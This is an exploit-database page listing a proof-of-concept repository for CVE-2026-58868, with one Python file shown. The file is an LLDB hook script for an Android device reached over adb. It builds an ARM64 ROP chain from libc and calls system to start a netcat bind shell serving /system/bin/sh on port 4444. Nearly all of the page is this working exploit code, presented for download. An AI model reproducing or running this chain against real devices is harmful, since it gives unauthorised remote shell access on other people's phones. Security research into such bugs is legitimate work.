Exploit database

GH-6e0f88ff03ddf4d23f187227c961c0ab

redfishrouge/cve-2026-58868-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-58868

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files9
redfishrouge/cve-2026-58868-pocRevision d37c7a14b9c3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

rce/hook_arm64.py

Python · 2,143 bytes
import lldb
import subprocess
import struct

ADB = "/opt/sdk/platform-tools/adb"
SER = "34261FDH3006L9"
HITS = {"n": 0}

GADGET_MOV_X0_X19 = 0x5ae3c   # mov x0, x19 ; ldr x19,[sp,#0x10] ; ldp x29,x30,[sp],#0x20 ; ret
SYSTEM = 0x95950


def adb(*args):
    return subprocess.check_output([ADB, "-s", SER, *args], text=True)


def mem_read(proc, addr, size):
    err = lldb.SBError()
    data = proc.ReadMemory(addr, size, err)
    return data if err.Success() else None


def write(proc, addr, data):
    err = lldb.SBError()
    ok = proc.WriteMemory(addr, data, err)
    return ok and err.Success()


def on_hit(frame, bp_loc, internal_dict):
    HITS["n"] += 1
    proc = frame.GetThread().GetProcess()
    x29 = frame.FindRegister("x29").GetValueAsUnsigned()
    pid = proc.GetProcessID()
    maps = adb("shell", "cat /proc/%d/maps" % pid)
    libc = None
    sf = None
    for line in maps.splitlines():
        if "/bionic/libc.so" in line and libc is None:
            libc = int(line.split("-")[0], 16)
        if "/libstagefright.so" in line and sf is None:
            sf = int(line.split("-")[0], 16)
    if libc is None or sf is None:
        print("no libc/sf")
        return True
    ra = struct.unpack("<Q", mem_read(proc, x29 + 8, 8))[0]
    print("x29=%x RA=%x sf=%x libc=%x" % (x29, ra, sf, libc))

    blob_addr = x29 + 0x100
    blob = b"/system/bin/nc -L -p 4444 -- /system/bin/sh\x00"

    chain = bytearray(0x80)
    struct.pack_into("<Q", chain, 0x00, libc + GADGET_MOV_X0_X19)  # -> [x29+8]
    struct.pack_into("<Q", chain, 0x50, blob_addr)                 # x19 -> [x29+0x58]
    struct.pack_into("<Q", chain, 0x58, x29)                       # new x29  [x29+0x60]
    struct.pack_into("<Q", chain, 0x60, libc + SYSTEM)             # x30      [x29+0x68]
    struct.pack_into("<Q", chain, 0x68, blob_addr)                 # x19 again

    ok = write(proc, x29 + 8, bytes(chain)) and write(proc, blob_addr, blob)
    print("chain ok=%s blob=%r" % (ok, mem_read(proc, blob_addr, len(blob))))
    try:
        bp_loc.GetBreakpoint().SetEnabled(False)
    except Exception:
        pass
    proc.Detach()
    return True